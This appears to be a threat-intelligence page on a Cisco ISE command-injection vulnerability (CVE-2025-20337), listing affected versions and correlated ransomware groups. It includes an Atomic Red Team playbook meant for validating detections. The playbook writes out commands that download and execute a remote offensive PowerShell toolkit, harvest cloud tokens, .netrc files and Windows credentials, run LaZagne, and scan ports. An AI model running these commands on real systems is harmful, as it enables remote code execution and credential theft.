CVE-2025-20337
Overview
This vulnerability is a command injection flaw caused by insufficient validation of user-supplied input within a specific API of Cisco Identity Services Engine (ISE) and Cisco ISE-PIC. The affected component improperly processes crafted API requests, allowing malicious input to be executed at the operating system level with root privileges. The root cause lies in inadequate input sanitization in the API handling mechanism, which enables unauthorized command execution on the underlying system.
Vulnerability Description
A vulnerability in a specific API of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to execute arbitrary code on the underlying operating system as root. The attacker does not require any valid credentials to exploit this vulnerability. This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by submitting a crafted API request. A successful exploit could allow the attacker to obtain root privileges on an affected device.
Impact
An unauthenticated remote attacker can execute arbitrary commands on the affected Cisco ISE device with root-level privileges. This allows full control over the system, including the ability to manipulate configuration, access sensitive data, disrupt services, or move laterally within the network. No valid credentials or user interaction are required, enabling an attacker to compromise the device remotely and potentially affect the broader enterprise environment.
Solution
Cisco has released security updates addressing this vulnerability in Cisco Identity Services Engine Software version 3.3.0 and its patch releases. Administrators should apply the patches provided in the Cisco Security Advisory (cisco-sa-ise-unauth-rce-ZAd2GnJ6) available at the Cisco Security Center. Detailed instructions for upgrading to the fixed versions and mitigating the issue are outlined in the advisory. No alternative workarounds are specified; prompt patching is recommended.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Correlated Groups
Correlations are established through analysis of shared tools, tactics, and infrastructure between threat groups and vulnerabilities. They do not represent direct confirmation of exploitation.
| Group | Confidence | Victims | Source |
|---|---|---|---|
|
akira
|
LOW | 1529 | Chain Inference |
|
ransomhub
|
LOW | 842 | Chain Inference |
|
sinobi
|
LOW | 274 | Chain Inference |
|
frag
|
LOW | 30 | Chain Inference |
|
0apt
|
LOW | — | Chain Inference |
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
A critical vulnerability exists within the API of Cisco Identity Services Engine (ISE) and its Passive Identity Connector (PIC) that allows unauthenticated remote attackers to execute arbitrary code on the underlying operating system with root privileges. This flaw stems from inadequate validation of user-supplied input, which creates an opportunity for attackers to craft malicious API requests. The severity of this vulnerability is underscored by its potential to grant attackers complete control over affected devices, enabling them to manipulate system configurations, access sensitive data, and potentially pivot to other systems within the network.
The exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage the API without needing valid credentials, significantly lowering the barrier to entry for exploitation. By sending specially crafted requests to the vulnerable API endpoints, an attacker could trigger the execution of arbitrary code. This could be done from anywhere on the internet, making it particularly dangerous for organizations that expose their Cisco ISE or PIC to external networks. Scenarios could range from a targeted attack on a specific organization to widespread exploitation across multiple entities using the same vulnerable versions of the software.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on Cisco ISE for identity and access management. If successfully exploited, an attacker could gain root access, leading to unauthorized access to sensitive information, manipulation of user data, and disruption of services. The potential for data breaches, loss of customer trust, and regulatory penalties could result in significant financial repercussions. Furthermore, the ability to pivot to other systems within the network could lead to a broader compromise, amplifying the risk and impact on the organization’s overall security posture.
To detect and mitigate this vulnerability, organizations should prioritize immediate patching of affected versions of Cisco ISE and PIC. Regularly updating systems to the latest patches is essential in minimizing exposure to known vulnerabilities. Additionally, implementing robust input validation and monitoring API traffic for unusual patterns can help detect potential exploitation attempts. Organizations should also consider employing network segmentation to limit the exposure of critical systems to the internet and enforce strict access controls to APIs, ensuring that only authorized users and applications can interact with these endpoints.
In conclusion, the vulnerability within the Cisco ISE and PIC APIs represents a significant threat to organizations leveraging these technologies. The combination of unauthenticated access and the potential for arbitrary code execution poses a critical risk that necessitates immediate attention. By understanding the technical details, potential attack vectors, and real-world implications, organizations can take proactive measures to safeguard their systems and mitigate the associated risks effectively.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-20337, rising by nearly 60%. This upward adjustment reflects growing confidence in the likelihood of exploitation, despite the absence of new exploit code or active campaigns detected by our telemetry. Additionally, the number of ransomware groups linked to this vulnerability has expanded, with a new actor joining the previously known four, signaling heightened interest from financially motivated threat actors. Although no confirmed ransomware campaigns leveraging this flaw have been observed, the broadened association suggests an elevated risk of future targeted attacks. These developments underscore a shift in the threat landscape, elevating the urgency for defenders to prioritize monitoring and protective measures around Cisco ISE environments. Consequently, the overall threat level for this vulnerability has increased from critical in theory to critical with a rising probability of exploitation in practice, warranting enhanced vigilance.
Affected Products (18)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Identity Services Engine | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine:3.3.0:-:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch1:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch2:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch3:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch4:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch5:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch6:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine | 3.4.0 |
cpe:2.3:a:cisco:identity_services_engine:3.4.0:-:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine | 3.4.0 |
cpe:2.3:a:cisco:identity_services_engine:3.4.0:patch1:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine Passive Identity Connector | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:-:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine Passive Identity Connector | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:patch1:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine Passive Identity Connector | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:patch2:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine Passive Identity Connector | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:patch3:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine Passive Identity Connector | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:patch4:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine Passive Identity Connector | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:patch5:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine Passive Identity Connector | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:patch6:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine Passive Identity Connector | 3.4.0 |
cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.4.0:-:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine Passive Identity Connector | 3.4.0 |
cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.4.0:patch1:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Ransomware Groups 5
Threat Feed
9 eventsSighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability (30 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability (274 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-20337 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-unauth-rce-ZAd2GnJ6 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-20337 |